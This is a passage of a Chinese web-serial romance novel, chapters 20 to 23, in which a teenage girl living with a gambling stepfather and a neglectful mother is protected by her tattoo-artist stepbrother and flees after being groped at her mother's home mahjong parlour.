赵美莺越想越气,拿着包都往他身上摔,闻天明脾气本就不好,这下也被她搞烦了,甩手将她推到在地,粗声粗气地骂道:“我日你妈了个逼,你他妈有完没完,老子给你脸了是吧!” 林杳连忙跑过去扶起赵美莺。 赵美莺心情正差,站起来后没也没给她一个好脸色,反而撒气似地一把甩开她的手。 还欲再和男人吵,少年几大步走了过来,带着怒意的冷漠黑眸在她和闻天明之间一扫,带着股凌厉的压迫感。 “再吵都滚出去。” 一句话,两人都老实了。 闻天明没心没肺地躺下继续睡,赵美莺胸口起伏,憋着气去了厨房做饭,摔摔打打的,弄出动静不小。 林杳握着手里快凉了的奶茶,有点儿无所适从地站在原地,这种难堪的,粗鲁的家庭争吵,是她从前未曾面对的。 直到肩膀被闻野轻轻一推,一声“走,上去了”,她才回神似的跟着他一块儿往楼上走。 上到二楼,走在前边的闻野脚步一顿住,她也跟着一停。 少年转回身,低头看向她。 方才脸上的冷漠消失殆尽,柔和了许多,却也带着某种凛然的严肃,说的话是安慰,也是劝诫。 “别被他们影响了,顶多一年半,你好好学习高考,肯定会离开这个鬼地方。” 寒假还剩一个星期,林杳又恢复了天天在家刷题的模式。 赵美莺已经清醒过来,连着输了好几千之后收手了,再不去那个小赌场。 闻天明却变本加厉,赌上了瘾,他白天早退翘班过去,晚上在那儿一待待一整宿,鲜少在家露面。 开学前一天的下午,林杳在房间继续写卷子,家里就她一人,外边走廊响起脚步声时还没在意,直到又听见翻箱倒柜的声音,她瞬间警觉起来。 不知是小偷还是别的什么情况,林杳不敢贸然出去,拿手机先给闻野发了条消息。 这个时间,闻野就在他那纹身店,和家离着一条街。 消息发过去不过几秒,就收到了回复,没一个标点,可见他打得有多急切:【别怕也别出去我马上回来】 一句话,像颗定心丸。 另一间房里的不是别人,正是输急了眼的闻天明,抽屉衣柜都被他翻了个底朝天,也没找见赵美莺的存折。 “操他妈的,这死娘们到底把存折藏哪儿了。” 闻天明暴躁地把地上乱七八糟散落的衣服一脚踢开,要走时忽然想到什么,朝着林杳房间走去。 门拧开,对着吓了一跳的小姑娘,闻天明脸上堆出满满的假笑:“杳杳啊,你身上有没有钱,借叔叔一点。” 林杳警惕地摇头:“没有。” “怎么可能没有啊,我知道你妈每个月都没有给你生活费,你没钱,每天在学校吃什么喝什么?再说了,叔叔只是现在手头紧,找你借一点,等叔叔有钱了以后马上就还你。” 男人起先还是一副好好商量的语气,见她不为所动,脸上的笑彻底消失了,面容变得狰狞:“你先前那对父母不要你了,要不是我点头答应,赵美莺能把你领回来?你早就流落街头了,你这丫头片子怎么一点也不知道感恩?!” 他说完扒开抽屉,胡乱翻找了一通后终于找到压在最底下的一张银行卡,交织着大喜和凶光的眼神看向她:“密码是什么?” 林杳咬着发颤的唇,没吭声,手机被冒着冷汗的掌心越攥越紧。 闻天明问了几遍没问出来,失去耐心了,他抬起胳膊,一巴掌就要往林杳的脸上招呼。 还没落下,后脑结结实实地挨了一下,乍然袭来的剧烈疼痛让男人整个人有一瞬的懵逼。 直到温热的鲜血滴答滴答的顺着脖子流下,闻天明才反应过来,手捂着受伤的后脑勺,愤怒地转身。 看见的就是少年戾气横生,压不住凶恶的一张脸。 闻野把手里那把在店里拿的,现在还挂着血的扳手扔到了闻天明脚边,“哐啷”一声,闻天明心都跟着颤了颤。 随即听见一道极冷极怒,更令人胆颤的嗓音。 “再敢打她的主意,你就死了。” 闻天明走后,闻野蹲下身捡起散落一地的卷子和书,放进抽屉,又去拿来拖把,把滴到地板上的几滴血拖干净。 他动作利落,房间很快恢复了原样,像之前的一切都没发生。 他走到余悸未消,脸色还有些苍白的少女面前,磁沉稳重的嗓音向她保证:“有我在,以后这样的事绝对不会再发生了。” 又安抚地揉了揉她脑袋,拖腔带调地笑问:“相不相信哥哥啊?” 林杳抬起眼睫,对着他望过来的,那双黑沉又笃定的眸子,心里头恐惧紧绷着的情绪也就真的,一点点消弭无踪。 “相信。”她信赖地点头,脸上的神色放松许多。 闻野勾了勾唇,去衣架取来一件她的羽绒服,递过去:“明天不就开学了么,走,今晚带你去吃顿烧烤。”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 20-30 第21章 第二十一章 守护神一般 第二天开学, 也要开始上晚自习了,八点半,放学的铃声打响, 周围同学都迫不及待地收拾起书包。 昨天下午发生的事还历历在目, 林杳捏着水性笔的手紧了紧, 偏头看向谢安琪:“我想留在教室写会儿作业,小琪你先走吧。” 谢安琪闻言没有怀疑:“杳杳你也太刻苦了, 不过现在晚上那么冷,你还是早点回家啊。” “嗯,我知道。”林杳点了点头。 教室里还有几个住校生也留在教室里自习,林杳把英语习题册的几篇阅读写完,抬头看了眼黑板上的挂钟。 九点二十分了。 校园变得安静,走廊只剩下巡楼老师的脚步声和呼啸而过,拍打着窗户的风声。 教室里没空调,到了晚上更冷,林杳搓了搓冰凉的手,又从桌洞拿出数学的高分冲刺题。 她还不想回去。 才写了几道选择题,嘟嘟的震动声从书包里传出来, 林杳拿出来,看到是闻野打来的, 连忙跑到教室外边接起。 “喂, 你怎么还没回家?”闻野的声音从那头传来, 语气似乎还带着点儿着急。 “我在教室写作业。”林杳说完反应了过来, 有点惊讶地问:“你到家了呀?” 一般他晚自习都不上, 会去纹身店,最早也是十一多点回家。 他“嗯”了声,又问她:“你打算在教室学到几点, 到时候给我打个电话,我过来接你。” 林杳不想麻烦他,一句不用了脱口而出。 “什么不用了,”手机那边的人明显不高兴起来,“大冬天的这个点外面都没几个人影了,你再晚点回来,万一路上碰上个混混小流氓,你喉咙喊破了都没有人来救你。” “再万一遇到个人贩子,对方直接强行把你拽上车,一脚油门直接把你拉到偏远山给卖了怎么办?”他越说越严重,最后带上了批评的口吻:“小姑娘家家的,怎么一点安全防范意识都没有?” 其实从学校走回去就一刻钟,沿路也有些开着的小店,林杳先前觉得还好,但现在被他说的……简直是危险重重了。 “那……那我现在就回去吧。” 家里有闻野在,就算闻天明想怎么样,她也不怕了,也省得他大晚上的还要出来接她。 林杳进去收拾了书包,比起教室里的冷,外边更像是冰天雪地,刺骨的北风像刀子直往脸上招呼,街上果然也瞧不见什么人影了。 她迎着冷飕飕的风埋头往前走,才走了一小半路,一拐角,视线里突然出现一道 颀长的身形。 还隔着段距离,路灯投出的光也雾蒙不清,但因过于熟悉,还是一眼就认了出来。 林杳加快脚步,朝着他小跑过去,没等她开口问,闻野微微挑起嘴角,先说道:“出来买点东西,还挺巧的,就碰到你了。” 路边就有个小超市,林杳站在门口等着,眨眼的功夫他就走了出来,手里拿着瓶才买的矿泉水。 开了家门,闻天明坐客厅的沙发里看球赛,神色恹恹的,染上赌瘾的人除了赌博,对做其他事的都很难提起精神。 然而手里又一分钱没有了,也去不了那地方。 他后脑勺的伤还没好,还绑着纱布,又因昨天找银行卡和赵美莺大干了一架,脸上新添了几道指甲抓痕。 听到开门的动静,闻天明回过头。 见到林杳,闻天明支起身子,嘴唇动了动想要说什么,结果下一秒看到她身后的少年。 一抹惧色从眼里划过,闻天明又闭了嘴,屁都不敢放一个,重新往沙发上一躺。 林杳换了鞋上楼,进房间写作业,闻野也回了房,一整晚闻天明都没敢闹出什么幺蛾子。 之后一连几天,林杳晚自习后都会收到闻野的短信,问她今晚留不留在教室写作业,晚回了他就过去接她。 见他也在家,林杳便没再教室多久待。 她本来还以为他是这几天没生意,所以才没去店里。 直到周日,她休息,闻野也还待在家,林杳意识到不对劲,又想起他把闻天明脑袋砸了之后对她说的那句—— 有他在,以后这样的事绝对不会再发生。 原来从来不是一句空口的承诺,他一直沉默又切身实际地在履行着,如同她的守护神一般。 想到了这点,林杳立刻放下手里的笔去敲隔壁的房门,等闻野开了门,她看见里面桌子上一张黑白的刺青素描线稿,虽还没完成,但也可见其复杂和他画工的扎实。 “是不是因为我,你这些天才一直没去店里啊?”她抬眼看着他,直截了当地问。 “瞎想什么呢,”闻野舌尖抵了抵下颚,懒洋洋笑着否认道:“生意不好,没客人,我去店里干嘛。” 林杳闻言没说话,乌黑的眸子一眨不眨的,安静又执拗地看着他,一副他不说实话就不罢休的架势。 闻野受不住她这模样,没辙地叹了口气:“闻天明都那么不要脸了,我能放心单独留你在家里?” 他唇角掀了掀,语气轻松道:“再说了,我暂时不缺钱,天天给人纹身,枪一拿几个小时手腕都要酸死了,我休息几天放个假还不行?” 林杳知道他是故意这么说的,以此减少她心里的歉疚感。 她长睫动了动,忽然想到个办法,抬起眼眸看向他:“那……我能到你的纹身店去写作业嘛?”- 纹身店门上挂着的铁锁被闻野打开,他推开进去了,按开灯,把桌上乱七八糟堆着的东西快速一通收拾,又搬了把小凳子放到旁边。 “你先坐这儿写作业,我出去一会儿。” “噢好。”林杳坐下,把书包搁在腿上,拿出卷子开始写。 大约半套写完,闻野才回来,他两只手里都拎着东西,侧着身用胳膊抵开玻璃门。 林杳看见他拎着的两个纸箱,一个写着某某牌的小太阳,一个又是某某牌的三档护眼台灯。 闻野看到她目光里露出的疑惑,边拆着纸箱边开口道:“这两扇门关得不紧,风会刮进来,你身边放个小太阳,会暖和些。” 说着从抽屉翻出个接线板,把小太阳插上后放到她脚边,又把那台灯放到桌子上,调到最亮的第三档。 原本店里的光线是有些暗的,这下亮了许多。 林杳腿和脚本来也是有点冷的,被小太阳烘烤着,很快就暖和起来了。 没一会儿玻璃门又被推开了,走进来个二十多岁的男人,虎背熊腰的,有些胖硕。 林杳闻声下意识抬起头。 四目相对,胖子看着她乖乖的长相和小桌子上一张正写着的试卷,愣了愣,有点儿怀疑自己走错了地儿。 等闻野从屏风后走出来,他懵圈的目光才从林杳脸上转移过去,一脸不解地问:“闻野,谁啊这是?” 闻野:“我妹。” “看着真乖啊,哦嚯,这张数学卷子都快写满了,真厉害。”胖子笑着表扬小孩子似的语气,还想对林杳说什么,被闻野不怎么耐烦地扯进了屏风后。 闻野戴上口罩,把防滑绷带缠绕在纹身机手柄处,撩起男人衣服,拿着酒精棉签给他要纹的后背消毒。 胖子也是纹身的常客,相当坦然闲适坐在纹身椅上,胳臂肘撑在椅背上,回头跟他随口聊道:“你最近生意够好的,我从星期一预约到星期六,你都说没空。” 屏风前,林杳写着题的笔顿了下,果然是她耽误了他的事。 屏风后传来闻野凉凉的回应:“把牙咬紧点儿,别在我妹面前叫出声了,丢死个人。” 紧接着耳边响起纹身线圈机发出的滋滋声,夹杂着那人时不时倒吸一口气的声音。 滋滋的声音持续了四个多小时,还没有扎完。到晚上八点多,闻野才和胖子一块儿出去吃饭,应该也是在街边的小店随便吃了点什么,闻野很快就回来了,胖子蹲门口一根根抽着烟,缓解后背要了他老命的疼痛。 林杳对闻野下午说的一拿纹身枪就几个小时有了更确切的感受,她搁下笔,主动提议道:“我给你揉揉手吧。” 闻野看着手机,一下没反应过来:“什么?” “你握着那么久纹身枪,手腕肯定很酸,我给你揉揉,应该能缓解一点。” 闻野想说不用,但对上少女诚挚的眸子,鬼使神差地就把右手朝她伸了过去。 林杳弯了下唇,搬着小板凳离他坐得更近了点,指腹用着适当的力道按着他腕骨关节。 小姑娘指腹柔软,烤久了火,还很暖和,轻按着他手腕时,舒服是很舒服,一下午的疲乏都没了。 却也有种诡异又酥麻的难挨感,像有蚂蚁在轻轻啃噬着心脏。 惹得他喉结重重地滚了几下。 胖子抽完了半包烟回来,看到的就是林杳给闻野按摩着手腕的这幕,当即极度不平衡了,嫉妒的酸水咕噜噜地直往外冒。 “沃日,凭什么老子只有个狗嫌人烦的弟弟,你就能有个比小棉袄还贴心的妹妹啊?!” “文明点,别讲脏话。”闻野撩起眼皮,极不满地睨他一眼,又对林杳勾了勾唇:“谢谢啊,手腕已经不酸了。”- 林杳开始每天放学后往闻野的纹身店跑,周日更是一整天待在那儿,比起那个争吵,又总弥漫一股低气压的家,她更愿意待在他这个十平米不到的小店。 纹身店前边一半成了她的专属地,桌上放着她的书本卷子,椅子上放着闻野给她买的坐垫,抽屉里也塞满了他买的,各式各样的小零食。 冬去春来,转眼到了四月份,气温逐日上升,一直放她腿边烤火的小太阳也终于装进纸盒收了起来。 晚上十一点,闻野收工,又坐着玩了十几分钟手机,等林杳把卷子写完,他才走过,拎起她的书包,锁门离开。 夜晚的风变得温柔了,夹杂着不知哪家哪户的蔷薇花香,沿路石缝里的青苔变得鲜绿,有小虫子发出唧唧啾啾的叫声。 今晚烤红薯的摊子没出来,但有卖鸡蛋肉堡和红豆饼的,闻野摸出零钱,问林杳想吃哪个,听她说后去买了两个鸡蛋汉堡。 刚做出来的还有点烫,林杳接过后先拎在手里,想起什么转头看向闻野:“你看我最近是不是长胖了点啊。” 家里没称过体重,没法称,但也觉得很可能。 毕竟她在闻野这儿习惯了做完一科作业,休息时拉开抽屉吃点零食,每晚还有像这样的加餐。 闻野嗤了声:“你是近视了眼吧,你哪和胖能沾一点边?” 他看着月色下,少女冲他仰着的雪白小脸 ,语气也是略有不满:“你看你这脸上哪有二两肉没?” 话说到这儿,似乎也是顺手,就往那张小脸上轻轻掐了一把。 手感柔软得不可思议,比之前摸头的举动多了几分亲昵。 闻野立刻收回手,垂下的指尖无意识地小小摩梭了两下。 他绷住表情:“你就放心大胆地多吃点,你离长胖还有十万八千里的距离。” 林杳低下头,乖乖 “噢”了声,脸颊似乎还停留着少年略显粗砺的指腹摸上来的感觉。 不知怎么的,有点发热。 第22章 第二十二章 我也能养你 五月份, 天气炎热起来,林杳又换上了之前从闻野那里买来的夏季校服,白短袖和黑色长裤。 因为校裤的材质不透气, 她学着其他女生那样把裤脚卷起一小截, 这样凉快, 但也容易被蚊子叮咬。 闻野的纹身店里又多出了小电扇,蚊香, 灭蚊灯和花露水这些,还放了个挺小的冰箱,装雪糕冰棒。 晚上彭一凡翘了晚自习晃悠来,才发现闻野店里新添的这一家当,当即开冰箱,里面几根老冰棍,还有一根仅剩的梦龙。 彭一凡当然是毫客气地选择了梦龙,只是刚拿起,还没撕开,闻野从正画着的纹身线稿抬起眼。 “梦龙就剩最后一个了,放回去, 要吃就吃老冰棍。” 彭一凡一头雾水,很不理解:“野哥你不最讨厌吃甜的吗?” 闻野语气闲闲:“我不喜欢, 有人喜欢。” 彭一凡:“?” 他们从小一起长大, 关系好得穿一条裤子, 到底是谁?在他们俩之间横插进来一脚!! 彭一凡痛心疾首地拉开冰箱, 悲愤地把唯一那根梦龙放回去, 又忍气吞声地啃着五毛一根的老冰棍。 不多时林杳背着书包过来,夏夜的风已经有些热了,从学校一路走过来她鼻尖已经沁出层薄汗。 彭一凡暂时停止愤愤然啃冰棍的行为, 热情洋溢地冲她打了声招呼。 只是脸上的笑没有维持住多久,彭一凡就眼睁睁看着她才坐下,闻野就搁下纸笔起身,从小冰箱里拿出一根梦龙和一根老冰棍。 那根不让他吃的梦龙递给了林杳。 彭一凡:“……” 别人是有了老婆忘了兄弟,野哥这是有了妹妹,一点兄弟情分都不顾了! “这个牌子的雪糕挺贵的,你别总给我买这个。”林杳有些不好意思道。 他自己吃五毛一根的老冰棍,没道理给她总吃七八块的啊。 闻野骗小姑娘的理由张口就来:“那个批发冰淇淋的阿婆年纪大,又是一个人,我买点贵的,算是照顾她生意,但我又不喜欢吃这种太甜的。” “呐,你就当做点好事,帮忙吃一下。”他说完,朝递过去的手又往前进了几分。 林杳只好接过,对他说了声谢谢。 她撕开外包装咬了一口,冰凉又甜滋滋的香草味消解了身体里的暑热,她唇角翘了翘,余光里察觉到一直落她身上的幽愤目光。 她转过脑袋,看向彭一凡:“你怎么啦?” 彭一凡想捶胸顿足控诉野哥的心都偏到太平洋马里纳海沟去了,但收到一旁闻野暗含警告的眼神,他最终还是选择了忍辱负重。 咯嘣咯嘣咬碎棍子上最后一点冰棒,彭一凡站起身,长长叹气:“心死了,不会再爱了,我还是去网吧挥霍我孤单寂寞的青春,这里就留给你们吧。” 林杳:“?” 林杳一头雾水地望向闻野,关心问道:“他怎么啦?” 闻野咬着冰棒棍,把点完的蚊香换了一片,放到她写作业的桌子底下: “间接性非主流,别理他。” 又长胳膊一伸,从桌上拿来瓶花露水。 脚踝处的皮肤突然传来沁凉感,林杳长长的睫毛低下,她看见闻野还蹲在他脚边,拿着瓶花露水对着她卷起的裤脚下一通喷。 从上往下看,少年后脖颈的棘突更明显,弯折的那截腕骨冷白瘦削,脸隐在桌子投下的阴影之下,五官仍深刻又立体分明,漆黑的眼认真盯着她脚踝。 前前后后都喷了个遍。 才直起身,花露水重新放回桌上,把嘴里咬着,快化了的老冰棍拿出来,咬了几口吃完,然后坐回刚才的位置,继续画着图纸。 也没多说什么,就仿佛刚才的举动,只是顺手一做。 但林杳知道,是因为昨晚回家的路上,她随口抱怨了句,说现在蚊子进化了,点着蚊香和灭蚊灯的同时还能在她小腿咬几个包。 所以今晚特地给她脚踝也喷了好些花露水。 她突然想起语文书里的那句,失之东隅,收之桑榆,觉得还是有道理的。 她失去了从前疼爱她的父母,可也有了一个对她很好,很好的哥哥- 这个十平方不到的刺青小店对林杳而言更亲切,而原本的家,变成了单纯只是晚上回去睡个觉的地方。 哪怕闻天明和赵美莺现在三天一小吵五天一大吵,有时恨不得要把房顶掀了,她也没受影响,在闻野的纹身店里埋头学习。 因此这几个月来她成绩没受一点影响,还有稳步提升的趋势。 然而猝不及防出现在家门口的警车,把一切表象的平静都打碎。 闻天明被带走了,他没钱又要去赌,就把心思打到了厂里,和外边的人勾结运了不少钢材零件出来卖,金额加起来够他判七八年了。 赵美莺向法院提出了离婚,两人的关系老早就破裂了,只是因为儿子的抚养权,还有闻天明要她平分存款,才没能离成。 如今闻天明去蹲局子了,她可不当王宝钏,还苦等十八年,她得趁着自己还不算老,赶紧找个下家。 既然已经和闻天明离婚了,赵美莺也不愿意继续住闻野的房子了,她还真挺怵少年的,而且继续住这儿,她怎么方便找第二春。 林杳来时装了一箱子行李,要走时也是这么多,唯一多了的,是闻野平安夜送她的那是伽百利的小熊。 闻野敲门进来,看见的就是已经被小姑娘收拾得干净又空荡的房间,心里仿佛也变得空落落的。 “我手机号,q.q反正你都有,我从不关机,所以不管白天晚上,遇上什么事了直接找我就行。” 林杳鼻尖酸了酸,憋着一汪眼泪点头。 闻野看她这样心里更不好受,他大手放在她脑袋上轻轻揉了揉几下,扯唇笑了声,故意用戏谑的语气调侃:“又不是搬到十万八千里地儿去,就跨个桥,坐车过去也就半小时,等你期末考完放假了,我来找你,带你去吃喝玩乐。”- 林杳跟着赵美莺一起搬到新租的房子里,两室一厅,她和闻磊住一间,还是挤在一张床上。 搬过去住了没两天,家里就有男人登门。 男人叫郭兴伟,和赵美莺在一个地方上班,赵美莺负责仓库登记,郭兴伟则是维修组的小领导,老婆死了好几年,一直就对姿色尚存的赵美莺有点想法。 听闻她离婚了,郭兴伟就像野猫嗅到了腥,对赵美莺那叫一个殷勤备至,赵美莺也有赶快再找个男人的打算,两人一拍即合。 晚上九点多,林杳从学校回来,在楼道里正巧碰见送郭兴伟下楼的赵美莺,她喊了声妈妈。 楼梯里光线昏暗,加之一身宽大的校服,都难掩少女漂亮动人的容貌。 郭兴伟愣了半晌才笑道:“小莺这是你女儿啊,真是长得和你一样好看。” 尽管这话也捎带夸了赵美莺,她听着还是不舒服,刚男人眼里的那抹惊艳简直不要太明显,眼睛瞎了才看不见。 对着林杳,赵美莺没有什么母女之情,带着她这个拖油瓶一起搬出来也只是因为反正长这么大了,养着也花不了多少钱,她长得好看,以后嫁人了还能收不少彩礼,还能给她养老。 此刻赵美莺心里涌现出几分嫉恨,自己很快年老色衰,而眼前的少女 却青春正盛。 她脸上的笑容收敛得一干二净,语气也不太好地吩咐道:“我晚点回来,你回去之后盯着小磊把作业写完,别还像之前一样成天大晚上的不着家,不知道在哪儿瞎混。” 林杳回到家时,说了好几遍才让闻磊关了电视,进房去写作业,她也在桌前坐下,从书包拿卷子时顺手也把手机拿了出来。 屏幕上方有个小企鹅的图标,她戳进去,看见三十分钟前闻野发来的消息:【在那边住得怎么样,还适应么?】 知道她有报喜不报忧的前科,下面还有一条:【说谎鼻子会变长】 林杳没忍住弯起眼角,笑完眼睛又有些泛酸,她轻轻吐出口气,敲着键盘回复:【你放心吧,我挺好的】 赵美莺现在多了个租房的开支,光靠那点死工资完全不够,她托郭兴伟搞来两台二手的麻将机,放在客厅里,相当于个小型麻将馆。 一桌收八十的台子费,来光顾的基本都是小区里的人,郭兴伟为了讨好她,天天带着他兄弟朋友们来捧场。 林杳每晚放学回来客厅里烟熏雾绕的,上厕所还有洗澡都特别不方便,有次洗澡时,她明明关着门,还有个男的从外边拧把手,幸亏她还从里反锁了。 之后她都是等十二点散场了再去洗澡。 六月底林杳放暑假,白天也在家,还得帮着做饭,给来打麻将的客人端茶倒水。 周日晚上这天生意特别好,除了两桌麻将,还有一桌打纸牌的,赵美莺招呼不过来,又喊林杳出来帮忙。 林杳忍着刺鼻的烟味,拎起开水瓶,走过去挨个给纸杯里倒开水。 这一桌坐着的是郭伟涛和他几个朋友,都是群三四十多岁的男的,一看见林杳眼珠子恨不得黏她身上。 少女唇红肤白,漂亮极了,尚青涩的身体已展露出婀娜的曲线了,倒水时抬起的胳膊纤细得仿佛一折就断。 林杳感受到数道直勾勾,透出猥琐的目光,很不舒服,她只能加快倒水的动作。 突然地某一刻,她手抖了抖,瓶口一歪,热水洒出大半。 赵美莺端着切好的西瓜走出来,看到这一幕,鼓起眼斥责道:“怎么回事,你小心着点啊。” 又连忙向裤子上被热水洒到的男人赔笑道歉:“不好意思啊,我女儿总是这么笨手笨脚的。” 林杳脸因羞耻涨得通红,觉得难以启齿,可还是颤抖着唇瓣指控道:妈妈,他刚才,摸了我一下。” 男人一下暴跳如雷,大声嚷嚷着掩饰自己的心虚:“你瞎几把鬼扯什么,我就是手不小心碰到了你一下。” 赵美莺觉得这也不算什么大事,抱着想息事宁人的态度说这就是个误会,让林杳快点回房间。 林杳觉得这屋子里的所有氧气像是被抽干了,她有种从未有过的窒息感,她费力地大口喘了几下,眼眶委屈得泛红,眼泪却拼命憋着没落下。 她咬紧唇,难得一见的凶悍目光瞪着那男人。 这样的模样落在男人眼里,他一点也不怕,在场其他人也停了起牌,看好戏似地看着这一幕,连房间里写作业的闻磊都扒在门缝往外看。 郭兴伟试图打圆场,赵美莺感觉丢脸,推了林杳一把:“还傻站这儿干嘛,快进去啊。” 林杳觉得周围的声音像是都虚化了,她心里只有一个念头,也就这么做了—— 她朝那男人走过去,拎着的开水瓶尽数倒在他刚摸过她的那只手上。 惨叫声响起,其他人都全看傻了眼,没想到看着弱不禁风的小姑娘还能这么刚。 赵美莺怕惹事,冲过去一巴掌扇她脸上:“你疯了啊?!” 林杳跑出了家。 她一秒也不想待在这个地方。 外边下起雨,夏日的暴雨来得急又大,很快就是倾盆之势,街上的行人带伞的是少数,多数只能脚步匆匆跑起来。 林杳不仅没伞,脚上还是一双没来得及换的拖鞋,跑起来都踉踉跄跄的,不像别的行人有目的地,她无处可去,最后只能在一家关着的五金店门口避雨。 她抱膝蜷缩在窄窄的门檐下,浑身差不多淋湿了,水珠顺着头发脸颊嘀哒哒往下滴,还不断有雨水被风吹裹着落到她脖子和手臂上。 冷得她牙齿打颤,可怜得像被遗弃的小猫。 她确实,也是被之前养她的父母遗弃,才会来到这里的。 不知道过了多久,这场暴雨终于停歇,天还被乌云压着,漏不出一丝月光,她冷得渐渐麻木了,倒不觉得冷了,只是头又开始有些晕。 脑袋里像塞了块铁,重重的,她不得不枕在抱膝的胳膊上,寂静的黑夜里,一道透出焦急的脚步声越来越近。 林杳抬起湿漉漉的眼睫。 早被雨水模糊的视线里,出现一道高瘦的身影,她还以为自己烧得出现了幻觉,迟缓地眨了眨眼。 那道身影还在,还出了声,压着怒和要命的心疼,听着沉又哑:“不是说让你有什么事找我么,你大晚上的一个人跑这儿坐着,是觉得天底下的坏人都死绝了?” 少年脸色阴沉,语气是阔别已久的,像是两人初见那般凶,却也在同时,飞快脱下身上的外套,披在她身上。 又在她站起来,因腿麻差点脚一崴时,及时伸出骨骼分明的大掌握住她胳膊。 闻野掌心滚烫的温度透过她冰凉的皮肤,渗进更里面,林杳像重新活过来一样,整个人恢复了知觉。 她抬起眉眼,看着他,尽量用平静的语调陈述着让自己难受的事实:“我之前的爸妈不要我了,因为他们的生意出了很大的问题,弟弟是亲生的儿子,再怎么都要一起带出国,但我不是。” 说到这儿,她喉咙哽了哽,深吸一口气才能继续道:“再多加一个我,会增添很多麻烦,他们已经为生意和自闭症的弟弟够焦头烂额了,所以选择把我送走。” 闻言从赶过来,看到她第一眼时,心脏就被死命地揪住,此刻听她这么说,更像是万箭穿心。 生怕头一遭,他对素昧平生,连见也没见过的两人产生了无比厌恶的情绪。 林杳看着少年紧绷成一条的唇线,一点也没最初觉得害怕的感觉。 “从我搬到这儿以来,你已经够照顾我了,我们没任何血缘,现在连名义上的那层关系也没了,你根本就没义务处理我的烂摊子。” “我也不想,”她顿了顿,眼睛低下去,有些艰难地说完:“让你觉得我是个麻烦。” 闻野不屑又轻蔑地嗤了声:“去他妈的狗屁血缘。” “你喊了我一声哥哥,你就是我妹妹,我就该护着你一辈子。” 手腕被握着的力道突然加重了几分,他的骨节似要烙进她皮肤里,林杳抬起脸,看到他一双比夜色还漆黑的眸子。 正垂着,一瞬不瞬地看着自己。 耳畔落进他的嗓音,沙哑,认真,又字字坚定。 “哪怕他们都不要你,我要你。” “跟着我,我也能养你。” 第23章 第二十三章 搬过来 已经凌晨了, 等了半天,才拦到一辆出租。 两人都坐在后座,林杳发起烧, 头有些难受地靠着车窗, 细长的黑睫无力地搭垂着, 半睡不睡的。 闻野只在一上车时对司机说了句空调关了,就一直绷紧着唇角, 一言不发。 司机透过后视镜,看见后座少年阴沉的脸色和冷得要杀人似的目光,心里战战兢兢的,平时最话痨的人此刻愣是一个屁不敢放,还在限速范围内把油门踩到最大。 闻野从他打电话过去被闻磊接起,听他说姐姐被妈妈打了一巴掌跑出去了,一股愤怒的火就在心里头烧起来。 这股怒火蔓延了三个多小时,直到终于在路边一个五金店的门口找到她,看到一身衣服湿透的小姑娘时,直接烧到顶峰。 到了小巷口子,闻野付完钱先下车, 又几大步走到另一边,给林杳拉开车门。 林杳脚刚挨地, 就见闻野在她面前蹲下, 耳边传来他低沉的嗓音:“上来。” 她脑子晕沉沉的, 一下没反应过来。 闻野保持半蹲的姿势, 微抬着下巴回头看她, 眼皮撩出一 道深刻的皱痕。 “快点啊,你看你脸烧得红的,我怕你走一半直接晕了过去。” 说着催促的话, 声音却是温和的,语气里更是蕴含着十足的耐心和纵容。 五岁还是六岁来着,林杳就没撒娇让爸爸背过她了。 但今晚可能真是烧得脑袋有点不清醒了,又或者是一晚上都沉浸在孤立无援的情绪中,她抬起胳膊,勾住他脖颈,像在漂泊无依的汪洋里寻到一方浮木。 下一秒,少年有力的大掌托住她膝盖窝,稳稳地将她背了起来。 乌云散尽,月亮探出头,隔得太远,看着只有铜钱般大小,将坑洼不平的沥青地面照得发光。 林杳头搁在闻野的肩膀上,后知后觉地想起来问他:“你怎么知道我跑出来了呀?” 背上少女说话时温热的呼吸拂在他后脖颈,还有甚至那么一秒,她轻轻张合的唇瓣和他皮肤一擦而过。 “九点钟时我给你打电话,是闻磊接的。”他嗓音沉了下去:“他说你被赵美莺打了一巴掌,跑出去了。” 林杳上出租后看了眼前边计价器上的时间,那时是零点过两分,也就是说,他毫无头绪地找了她三个小时。 正想着,又听他低问:“为什么?” 是问她为什么会被打。 林杳有些难以启齿,先前那种难堪屈辱的感觉又有些涌上来,她抿了抿唇,很久才慢吞吞道:“她开了个麻将室,每晚都有很多人来家里打麻将。” 妈妈这个称呼她已经喊不出口了。 “今晚她要我帮忙去给人倒茶水,有个男的摸了一下我屁股,还不承认,我就把手里的开水都泼他手上,然后她就打了我一巴掌。” 闻野恶心的底线又一次被那女的刷新,心脏被盛怒和要命的心疼同时撕扯着,暴戾的因子在血管翻涌,想立刻就去剁了那只猪蹄。 林杳感受到少年一瞬绷紧的肩胛骨,像是凶猛的野兽要爆发的前兆。 她有些不安,搂着他脖子的手紧了紧:“我泼他的水特别烫,我看到他手背红了一大块呢。” 感受到小姑娘收紧的胳膊,闻野缓了缓要炸的情绪,声音和缓道:“你做得对,就应该这样。” 两个多月没回到这个家,再进来后林杳也没感觉有什么改变,闻野找来自己干净的t恤和运动短裤给她。 林杳当时搬走时衣服都带走了,只能先穿他的,她接过,去卫生间冲了个热水澡。 等她洗澡完吹好头发,穿着他宽大衣服出来时,她房间走时只剩个床垫的床上,已经整齐地铺好了床单,薄被和枕头。 都是灰色系的,自然是闻野的。 房门是开着的,闻野进来之前仍是先抬手轻叩了两下,林杳视线落过去,看着他手里拿着水杯和一板退烧药。 他没走进房,等着她过来,将水杯和药递给她:“先把药吃了,明天早上起来要是烧还没退就去医院看。” 林杳抠出两颗药吞下,又听他道:“床上换的都是洗过干净的,枕头虽然是我睡过的,但重新换了个枕套。” 林杳没想到他把他枕头都给她了:“你把枕头都给我了,你睡什么呀?” “我拿衣服卷几下垫着就成。”闻野无所谓道。 等他走了,林杳躺到床上,哪怕被子床单什么都洗过了,被睡久了也多少沾染着点他身上的气息。 凌冽又干净,闻着让她安心,她把被子往上扯了扯,又还发着烧的缘故,很快就睡着了。 这一晚没梦,第二天一早也没被闻磊闹腾着吵醒,难得睡得很好,醒来时林杳感觉身体没什么不舒服的感觉,摸了摸额头,烧已经退了。 门外一点动静没有,不知闻野是出去了还是还没起,她下楼去阳台把昨晚晾着的衣服收下来,已经干了。 她回房换上自己的衣服,拿着穿了一晚的闻野的t恤短裤,走到卫生间,找了个盆子就想给他洗了,还在哗啦啦接着水,才开门进家的闻野听到动静过来,当即眉心拧起来。 林杳手刚要伸进水盆里,身后响起一道不悦的声音:“干嘛呢,不是有洗衣机吗。” 她回头解释道:“就两件,放洗衣机都转不动,浪费水还浪费电。” 